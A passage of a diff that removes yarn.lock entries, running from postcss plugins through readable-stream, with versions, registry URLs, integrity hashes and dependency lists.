-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-stylehacks "^4.0.0"
-
-postcss-merge-rules@^4.0.3:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-4.0.3.tgz#362bea4ff5a1f98e4075a713c6cb25aefef9a650"
-integrity sha512-U7e3r1SbvYzO0Jr3UT/zKBVgYYyhAz0aitvGIYOYK5CPmkNih+WDSsS5tvPrJ8YMQYlEMvsZIiqmn7HdFUaeEQ==
-dependencies:
-browserslist "^4.0.0"
-caniuse-api "^3.0.0"
-cssnano-util-same-parent "^4.0.0"
-postcss "^7.0.0"
-postcss-selector-parser "^3.0.0"
-vendors "^1.0.0"
-
-postcss-minify-font-values@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-4.0.2.tgz#cd4c344cce474343fac5d82206ab2cbcb8afd5a6"
-integrity sha512-j85oO6OnRU9zPf04+PZv1LYIYOprWm6IA6zkXkrJXyRveDEuQggG6tvoy8ir8ZwjLxLuGfNkCZEQG7zan+Hbtg==
-dependencies:
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-minify-gradients@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-4.0.2.tgz#93b29c2ff5099c535eecda56c4aa6e665a663471"
-integrity sha512-qKPfwlONdcf/AndP1U8SJ/uzIJtowHlMaSioKzebAXSG4iJthlWC9iSWznQcX4f66gIWX44RSA841HTHj3wK+Q==
-dependencies:
-cssnano-util-get-arguments "^4.0.0"
-is-color-stop "^1.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-minify-params@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-4.0.2.tgz#6b9cef030c11e35261f95f618c90036d680db874"
-integrity sha512-G7eWyzEx0xL4/wiBBJxJOz48zAKV2WG3iZOqVhPet/9geefm/Px5uo1fzlHu+DOjT+m0Mmiz3jkQzVHe6wxAWg==
-dependencies:
-alphanum-sort "^1.0.0"
-browserslist "^4.0.0"
-cssnano-util-get-arguments "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-uniqs "^2.0.0"
-
-postcss-minify-selectors@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-4.0.2.tgz#e2e5eb40bfee500d0cd9243500f5f8ea4262fbd8"
-integrity sha512-D5S1iViljXBj9kflQo4YutWnJmwm8VvIsU1GeXJGiG9j8CIg9zs4voPMdQDUmIxetUOh60VilsNzCiAFTOqu3g==
-dependencies:
-alphanum-sort "^1.0.0"
-has "^1.0.0"
-postcss "^7.0.0"
-postcss-selector-parser "^3.0.0"
-
-postcss-modules-extract-imports@1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.1.0.tgz#b614c9720be6816eaee35fb3a5faa1dba6a05ddb"
-integrity sha1-thTJcgvmgW6u41+zpfqh26agXds=
-dependencies:
-postcss "^6.0.1"
-
-postcss-modules-local-by-default@1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz#f7d80c398c5a393fa7964466bd19500a7d61c069"
-integrity sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=
-dependencies:
-css-selector-tokenizer "^0.7.0"
-postcss "^6.0.1"
-
-postcss-modules-scope@1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz#d6ea64994c79f97b62a72b426fbe6056a194bb90"
-integrity sha1-1upkmUx5+XtipytCb75gVqGUu5A=
-dependencies:
-css-selector-tokenizer "^0.7.0"
-postcss "^6.0.1"
-
-postcss-modules-values@1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz#ecffa9d7e192518389f42ad0e83f72aec456ea20"
-integrity sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=
-dependencies:
-icss-replace-symbols "^1.1.0"
-postcss "^6.0.1"
-
-postcss-modules@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/postcss-modules/-/postcss-modules-2.0.0.tgz#473d0d7326651d8408585c2a154115d5cb36cce0"
-integrity sha512-eqp+Bva+U2cwQO7dECJ8/V+X+uH1HduNeITB0CPPFAu6d/8LKQ32/j+p9rQ2YL1QytVcrNU0X+fBqgGmQIA1Rw==
-dependencies:
-css-modules-loader-core "^1.1.0"
-generic-names "^2.0.1"
-lodash.camelcase "^4.3.0"
-postcss "^7.0.1"
-string-hash "^1.1.1"
-
-postcss-normalize-charset@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-4.0.1.tgz#8b35add3aee83a136b0471e0d59be58a50285dd4"
-integrity sha512-gMXCrrlWh6G27U0hF3vNvR3w8I1s2wOBILvA87iNXaPvSNo5uZAMYsZG7XjCUf1eVxuPfyL4TJ7++SGZLc9A3g==
-dependencies:
-postcss "^7.0.0"
-
-postcss-normalize-display-values@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.2.tgz#0dbe04a4ce9063d4667ed2be476bb830c825935a"
-integrity sha512-3F2jcsaMW7+VtRMAqf/3m4cPFhPD3EFRgNs18u+k3lTJJlVe7d0YPO+bnwqo2xg8YiRpDXJI2u8A0wqJxMsQuQ==
-dependencies:
-cssnano-util-get-match "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-positions@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-4.0.2.tgz#05f757f84f260437378368a91f8932d4b102917f"
-integrity sha512-Dlf3/9AxpxE+NF1fJxYDeggi5WwV35MXGFnnoccP/9qDtFrTArZ0D0R+iKcg5WsUd8nUYMIl8yXDCtcrT8JrdA==
-dependencies:
-cssnano-util-get-arguments "^4.0.0"
-has "^1.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-repeat-style@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.2.tgz#c4ebbc289f3991a028d44751cbdd11918b17910c"
-integrity sha512-qvigdYYMpSuoFs3Is/f5nHdRLJN/ITA7huIoCyqqENJe9PvPmLhNLMu7QTjPdtnVf6OcYYO5SHonx4+fbJE1+Q==
-dependencies:
-cssnano-util-get-arguments "^4.0.0"
-cssnano-util-get-match "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-string@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-4.0.2.tgz#cd44c40ab07a0c7a36dc5e99aace1eca4ec2690c"
-integrity sha512-RrERod97Dnwqq49WNz8qo66ps0swYZDSb6rM57kN2J+aoyEAJfZ6bMx0sx/F9TIEX0xthPGCmeyiam/jXif0eA==
-dependencies:
-has "^1.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-timing-functions@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.2.tgz#8e009ca2a3949cdaf8ad23e6b6ab99cb5e7d28d9"
-integrity sha512-acwJY95edP762e++00Ehq9L4sZCEcOPyaHwoaFOhIwWCDfik6YvqsYNxckee65JHLKzuNSSmAdxwD2Cud1Z54A==
-dependencies:
-cssnano-util-get-match "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-unicode@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.1.tgz#841bd48fdcf3019ad4baa7493a3d363b52ae1cfb"
-integrity sha512-od18Uq2wCYn+vZ/qCOeutvHjB5jm57ToxRaMeNuf0nWVHaP9Hua56QyMF6fs/4FSUnVIw0CBPsU0K4LnBPwYwg==
-dependencies:
-browserslist "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-url@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-4.0.1.tgz#10e437f86bc7c7e58f7b9652ed878daaa95faae1"
-integrity sha512-p5oVaF4+IHwu7VpMan/SSpmpYxcJMtkGppYf0VbdH5B6hN8YNmVyJLuY9FmLQTzY3fag5ESUUHDqM+heid0UVA==
-dependencies:
-is-absolute-url "^2.0.0"
-normalize-url "^3.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-normalize-whitespace@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.2.tgz#bf1d4070fe4fcea87d1348e825d8cc0c5faa7d82"
-integrity sha512-tO8QIgrsI3p95r8fyqKV+ufKlSHh9hMJqACqbv2XknufqEDhDvbguXGBBqxw9nsQoXWf0qOqppziKJKHMD4GtA==
-dependencies:
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-ordered-values@^4.1.2:
-version "4.1.2"
-resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-4.1.2.tgz#0cf75c820ec7d5c4d280189559e0b571ebac0eee"
-integrity sha512-2fCObh5UanxvSxeXrtLtlwVThBvHn6MQcu4ksNT2tsaV2Fg76R2CV98W7wNSlX+5/pFwEyaDwKLLoEV7uRybAw==
-dependencies:
-cssnano-util-get-arguments "^4.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-reduce-initial@^4.0.3:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-4.0.3.tgz#7fd42ebea5e9c814609639e2c2e84ae270ba48df"
-integrity sha512-gKWmR5aUulSjbzOfD9AlJiHCGH6AEVLaM0AV+aSioxUDd16qXP1PCh8d1/BGVvpdWn8k/HiK7n6TjeoXN1F7DA==
-dependencies:
-browserslist "^4.0.0"
-caniuse-api "^3.0.0"
-has "^1.0.0"
-postcss "^7.0.0"
-
-postcss-reduce-transforms@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.2.tgz#17efa405eacc6e07be3414a5ca2d1074681d4e29"
-integrity sha512-EEVig1Q2QJ4ELpJXMZR8Vt5DQx8/mo+dGWSR7vWXqcob2gQLyQGsionYcGKATXvQzMPn6DSN1vTN7yFximdIAg==
-dependencies:
-cssnano-util-get-match "^4.0.0"
-has "^1.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-
-postcss-selector-parser@6.0.2, postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2:
-version "6.0.2"
-resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.2.tgz#934cf799d016c83411859e09dcecade01286ec5c"
-integrity sha512-36P2QR59jDTOAiIkqEprfJDsoNrvwFei3eCqKd1Y0tUsBimsq39BLp7RD+JWny3WgB1zGhJX8XVePwm9k4wdBg==
-dependencies:
-cssesc "^3.0.0"
-indexes-of "^1.0.1"
-uniq "^1.0.1"
-
-postcss-selector-parser@^3.0.0:
-version "3.1.2"
-resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz#b310f5c4c0fdaf76f94902bbaa30db6aa84f5270"
-integrity sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==
-dependencies:
-dot-prop "^5.2.0"
-indexes-of "^1.0.1"
-uniq "^1.0.1"
-
-postcss-svgo@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-4.0.2.tgz#17b997bc711b333bab143aaed3b8d3d6e3d38258"
-integrity sha512-C6wyjo3VwFm0QgBy+Fu7gCYOkCmgmClghO+pjcxvrcBKtiKt0uCF+hvbMO1fyv5BMImRK90SMb+dwUnfbGd+jw==
-dependencies:
-is-svg "^3.0.0"
-postcss "^7.0.0"
-postcss-value-parser "^3.0.0"
-svgo "^1.0.0"
-
-postcss-unique-selectors@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-4.0.1.tgz#9446911f3289bfd64c6d680f073c03b1f9ee4bac"
-integrity sha512-+JanVaryLo9QwZjKrmJgkI4Fn8SBgRO6WXQBJi7KiAVPlmxikB5Jzc4EvXMT2H0/m0RjrVVm9rGNhZddm/8Spg==
-dependencies:
-alphanum-sort "^1.0.0"
-postcss "^7.0.0"
-uniqs "^2.0.0"
-
-postcss-value-parser@^3.0.0, postcss-value-parser@^3.3.1:
-version "3.3.1"
-resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281"
-integrity sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==
-
-postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
-integrity sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==
-
-postcss@6.0.1:
-version "6.0.1"
-resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.1.tgz#000dbd1f8eef217aa368b9a212c5fc40b2a8f3f2"
-integrity sha1-AA29H47vIXqjaLmiEsX8QLKo8/I=
-dependencies:
-chalk "^1.1.3"
-source-map "^0.5.6"
-supports-color "^3.2.3"
-
-postcss@^6.0.1:
-version "6.0.23"
-resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.23.tgz#61c82cc328ac60e677645f979054eb98bc0e3324"
-integrity sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==
-dependencies:
-chalk "^2.4.1"
-source-map "^0.6.1"
-supports-color "^5.4.0"
-
-postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.11, postcss@^7.0.14, postcss@^7.0.17, postcss@^7.0.27, postcss@^7.0.32:
-version "7.0.32"
-resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.32.tgz#4310d6ee347053da3433db2be492883d62cec59d"
-integrity sha512-03eXong5NLnNCD05xscnGKGDZ98CyzoqPSMjOe6SuoQY7Z2hIj0Ld1g/O/UQRuOle2aRtiIRDg9tDcTGAkLfKw==
-dependencies:
-chalk "^2.4.2"
-source-map "^0.6.1"
-supports-color "^6.1.0"
-
-posthtml-parser@^0.4.0, posthtml-parser@^0.4.1, posthtml-parser@^0.4.2:
-version "0.4.2"
-resolved "https://registry.yarnpkg.com/posthtml-parser/-/posthtml-parser-0.4.2.tgz#a132bbdf0cd4bc199d34f322f5c1599385d7c6c1"
-integrity sha512-BUIorsYJTvS9UhXxPTzupIztOMVNPa/HtAm9KHni9z6qEfiJ1bpOBL5DfUOL9XAc3XkLIEzBzpph+Zbm4AdRAg==
-dependencies:
-htmlparser2 "^3.9.2"
-
-posthtml-render@^1.1.3, posthtml-render@^1.1.5, posthtml-render@^1.2.2:
-version "1.2.2"
-resolved "https://registry.yarnpkg.com/posthtml-render/-/posthtml-render-1.2.2.tgz#f554a19ed40d40e2bfc160826b0a91d4a23656cd"
-integrity sha512-MbIXTWwAfJ9qET6Zl29UNwJcDJEEz9Zkr5oDhiujitJa7YBJwEpbkX2cmuklCDxubTMoRWpid3q8DrSyGnUUzQ==
-
-posthtml@^0.11.2:
-version "0.11.6"
-resolved "https://registry.yarnpkg.com/posthtml/-/posthtml-0.11.6.tgz#e349d51af7929d0683b9d8c3abd8166beecc90a8"
-integrity sha512-C2hrAPzmRdpuL3iH0TDdQ6XCc9M7Dcc3zEW5BLerY65G4tWWszwv6nG/ksi6ul5i2mx22ubdljgktXCtNkydkw==
-dependencies:
-posthtml-parser "^0.4.1"
-posthtml-render "^1.1.5"
-
-posthtml@^0.12.0:
-version "0.12.3"
-resolved "https://registry.yarnpkg.com/posthtml/-/posthtml-0.12.3.tgz#8fa5b903907e9c10ba5b883863cc550189a309d5"
-integrity sha512-Fbpi95+JJyR0tqU7pUy1zTSQFjAsluuwB9pJ1h0jtnGk7n/O2TBtP5nDl9rV0JVACjQ1Lm5wSp4ppChr8u3MhA==
-dependencies:
-posthtml-parser "^0.4.2"
-posthtml-render "^1.2.2"
-
-prelude-ls@~1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
-
-prettier@^2.0.5:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.0.5.tgz#d6d56282455243f2f92cc1716692c08aa31522d4"
-integrity sha512-7PtVymN48hGcO4fGjybyBSIWDsLU4H4XlvOHfq91pz9kkGlonzwTfYkaIEwiRg/dAJF9YlbsduBAgtYLi+8cFg==
-
-pretty-format@^23.5.0:
-version "23.6.0"
-resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-23.6.0.tgz#5eaac8eeb6b33b987b7fe6097ea6a8a146ab5760"
-integrity sha512-zf9NV1NSlDLDjycnwm6hpFATCGl/K1lt0R/GdkAK2O5LN/rwJoB+Mh93gGJjut4YbmecbfgLWVGSTCr0Ewvvbw==
-dependencies:
-ansi-regex "^3.0.0"
-ansi-styles "^3.2.0"
-
-pretty-format@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-26.0.1.tgz#a4fe54fe428ad2fd3413ca6bbd1ec8c2e277e197"
-integrity sha512-SWxz6MbupT3ZSlL0Po4WF/KujhQaVehijR2blyRDCzk9e45EaYMVhMBn49fnRuHxtkSpXTes1GxNpVmH86Bxfw==
-dependencies:
-"@jest/types" "^26.0.1"
-ansi-regex "^5.0.0"
-ansi-styles "^4.0.0"
-react-is "^16.12.0"
-
-prismjs@^1.20.0:
-version "1.20.0"
-resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.20.0.tgz#9b685fc480a3514ee7198eac6a3bf5024319ff03"
-integrity sha512-AEDjSrVNkynnw6A+B1DsFkd6AVdTnp+/WoUixFRULlCLZVRZlVQMVWio/16jv7G1FscUxQxOQhWwApgbnxr6kQ==
-optionalDependencies:
-clipboard "^2.0.0"
-
-private@^0.1.8:
-version "0.1.8"
-resolved "https://registry.yarnpkg.com/private/-/private-0.1.8.tgz#2381edb3689f7a53d653190060fcf822d2f368ff"
-integrity sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==
-
-process-nextick-args@~2.0.0:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-process@^0.11.10:
-version "0.11.10"
-resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
-integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-prompts@^2.0.1:
-version "2.3.2"
-resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.3.2.tgz#480572d89ecf39566d2bd3fe2c9fccb7c4c0b068"
-integrity sha512-Q06uKs2CkNYVID0VqwfAl9mipo99zkBv/n2JtWY89Yxa3ZabWSrs0e2KTudKVa3peLUvYXMefDqIleLPVUBZMA==
-dependencies:
-kleur "^3.0.3"
-sisteransi "^1.0.4"
-
-proxy-addr@~2.0.5:
-version "2.0.6"
-resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.6.tgz#fdc2336505447d3f2f2c638ed272caf614bbb2bf"
-integrity sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==
-dependencies:
-forwarded "~0.1.2"
-ipaddr.js "1.9.1"
-
-psl@^1.1.28:
-version "1.8.0"
-resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==
-
-public-encrypt@^4.0.0:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
-integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==
-dependencies:
-bn.js "^4.1.0"
-browserify-rsa "^4.0.0"
-create-hash "^1.1.0"
-parse-asn1 "^5.0.0"
-randombytes "^2.0.1"
-safe-buffer "^5.1.2"
-
-pump@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
-dependencies:
-end-of-stream "^1.1.0"
-once "^1.3.1"
-
-punycode@1.3.2:
-version "1.3.2"
-resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
-integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@^1.2.4:
-version "1.4.1"
-resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
-integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
-
-punycode@^2.1.0, punycode@^2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-purgecss@^1.4.0:
-version "1.4.2"
-resolved "https://registry.yarnpkg.com/purgecss/-/purgecss-1.4.2.tgz#67ab50cb4f5c163fcefde56002467c974e577f41"
-integrity sha512-hkOreFTgiyMHMmC2BxzdIw5DuC6kxAbP/gGOGd3MEsF3+5m69rIvUEPaxrnoUtfODTFKe9hcXjGwC6jcjoyhOw==
-dependencies:
-glob "^7.1.3"
-postcss "^7.0.14"
-postcss-selector-parser "^6.0.0"
-yargs "^14.0.0"
-
-q@^1.1.2:
-version "1.5.1"
-resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
-integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
-
-qs@6.7.0:
-version "6.7.0"
-resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
-
-qs@~6.5.2:
-version "6.5.2"
-resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
-
-querystring-es3@^0.2.0:
-version "0.2.1"
-resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
-integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
-version "0.2.0"
-resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-quote-stream@^1.0.1, quote-stream@~1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/quote-stream/-/quote-stream-1.0.2.tgz#84963f8c9c26b942e153feeb53aae74652b7e0b2"
-integrity sha1-hJY/jJwmuULhU/7rU6rnRlK34LI=
-dependencies:
-buffer-equal "0.0.1"
-minimist "^1.1.3"
-through2 "^2.0.0"
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
-integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
-dependencies:
-safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
-integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
-dependencies:
-randombytes "^2.0.5"
-safe-buffer "^5.1.0"
-
-range-parser@~1.2.1:
-version "1.2.1"
-resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
-
-raw-body@2.4.0:
-version "2.4.0"
-resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
-dependencies:
-bytes "3.1.0"
-http-errors "1.7.2"
-iconv-lite "0.4.24"
-unpipe "1.0.0"
-
-react-is@^16.12.0:
-version "16.13.1"
-resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
-integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
-
-read-pkg-up@^7.0.1:
-version "7.0.1"
-resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507"
-integrity sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==
-dependencies:
-find-up "^4.1.0"
-read-pkg "^5.2.0"
-type-fest "^0.8.1"
-
-read-pkg@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-3.0.0.tgz#9cbc686978fee65d16c00e2b19c237fcf6e38389"
-integrity sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=
-dependencies:
-load-json-file "^4.0.0"
-normalize-package-data "^2.3.2"
-path-type "^3.0.0"
-
-read-pkg@^5.2.0:
-version "5.2.0"
-resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc"
-integrity sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==
-dependencies:
-"@types/normalize-package-data" "^2.4.0"
-normalize-package-data "^2.5.0"
-parse-json "^5.0.0"
-type-fest "^0.6.0"
-
-readable-stream@^2.0.2, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.3, readable-stream@~2.3.6:
-version "2.3.7"
-resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
